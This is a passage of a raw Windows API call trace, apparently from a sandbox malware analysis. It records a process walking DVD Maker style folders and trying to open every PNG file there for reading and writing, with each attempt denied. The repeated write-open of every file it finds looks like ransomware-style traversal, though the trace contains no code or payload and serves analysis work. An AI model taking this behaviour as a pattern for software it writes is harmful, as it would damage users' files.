lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ae3e27, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ae3e27, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0104.038] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png") returned 88 [0104.038] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.040] GetLastError () returned 0x5 [0104.040] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0104.040] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png") returned 94 [0104.040] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.041] GetLastError () returned 0x5 [0104.042] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 0 [0104.042] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0104.044] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories", cAlternateFileName="")) returned 1 [0104.047] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories") returned 52 [0104.047] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*") returned 56 [0104.047] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0104.051] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.051] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710d74af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710d74af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb08f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0104.051] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png") returned 78 [0104.051] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.053] GetLastError () returned 0x5 [0104.053] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710fd60c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710fd60c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc32, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0104.053] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png") returned 77 [0104.053] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.053] GetLastError () returned 0x5 [0104.053] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71123769, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71123769, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0104.053] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png") returned 78 [0104.053] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.053] GetLastError () returned 0x5 [0104.054] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711498c6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711498c6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-overlay.png", cAlternateFileName="")) returned 1 [0104.054] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png") returned 75 [0104.054] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.054] GetLastError () returned 0x5 [0104.054] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71254251, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71254251, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f993, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0104.054] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png") returned 67 [0104.054] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.056] GetLastError () returned 0x5 [0104.056] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0104.056] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png") returned 72 [0104.056] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.056] GetLastError () returned 0x5 [0104.056] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x280e, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0104.056] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png") returned 72 [0104.056] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.056] GetLastError () returned 0x5 [0104.057] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2808, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0104.057] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png") returned 76 [0104.057] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.058] GetLastError () returned 0x5 [0104.058] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x946, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0104.058] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png") returned 73 [0104.058] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.058] GetLastError () returned 0x5 [0104.058] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711e1e3a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711e1e3a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6bbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-overlay.png", cAlternateFileName="")) returned 1 [0104.058] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png") returned 71 [0104.059] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.059] GetLastError () returned 0x5 [0104.059] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71207f97, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71207f97, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb53, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories_buttonClear.png", cAlternateFileName="")) returned 1 [0104.059] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png") returned 77 [0104.059] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.059] GetLastError () returned 0x5 [0104.059] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7122e0f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7122e0f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_btn-back-static.png", cAlternateFileName="")) returned 1 [0104.059] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png") returned 78 [0104.059] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.060] GetLastError () returned 0x5 [0104.060] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7127a3ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7127a3ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a7ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_content-background.png", cAlternateFileName="")) returned 1 [0104.060] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png") returned 81 [0104.060] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.061] GetLastError () returned 0x5 [0104.061] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710b1352, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710b1352, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="scrapbook.png", cAlternateFileName="")) returned 1 [0104.061] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png") returned 66 [0104.061] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.062] GetLastError () returned 0x5 [0104.062] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712c6668, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712c6668, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x390c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_content-background.png", cAlternateFileName="")) returned 1 [0104.062] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png") returned 81 [0104.062] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.062] GetLastError () returned 0x5 [0104.062] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2c6fe3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_mainImage-mask.png", cAlternateFileName="")) returned 1 [0104.062] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png") returned 77 [0104.062] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.063] GetLastError () returned 0x5 [0104.063] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 1 [0104.063] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png") returned 79 [0104.063] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.065] GetLastError () returned 0x5 [0104.065] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 0 [0104.065] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0104.067] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e96ab6a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e96ab6a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="menu_style_default_Thumbnail.png", cAlternateFileName="")) returned 1 [0104.067] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png") returned 76 [0104.068] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.069] GetLastError () returned 0x5 [0104.069] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, 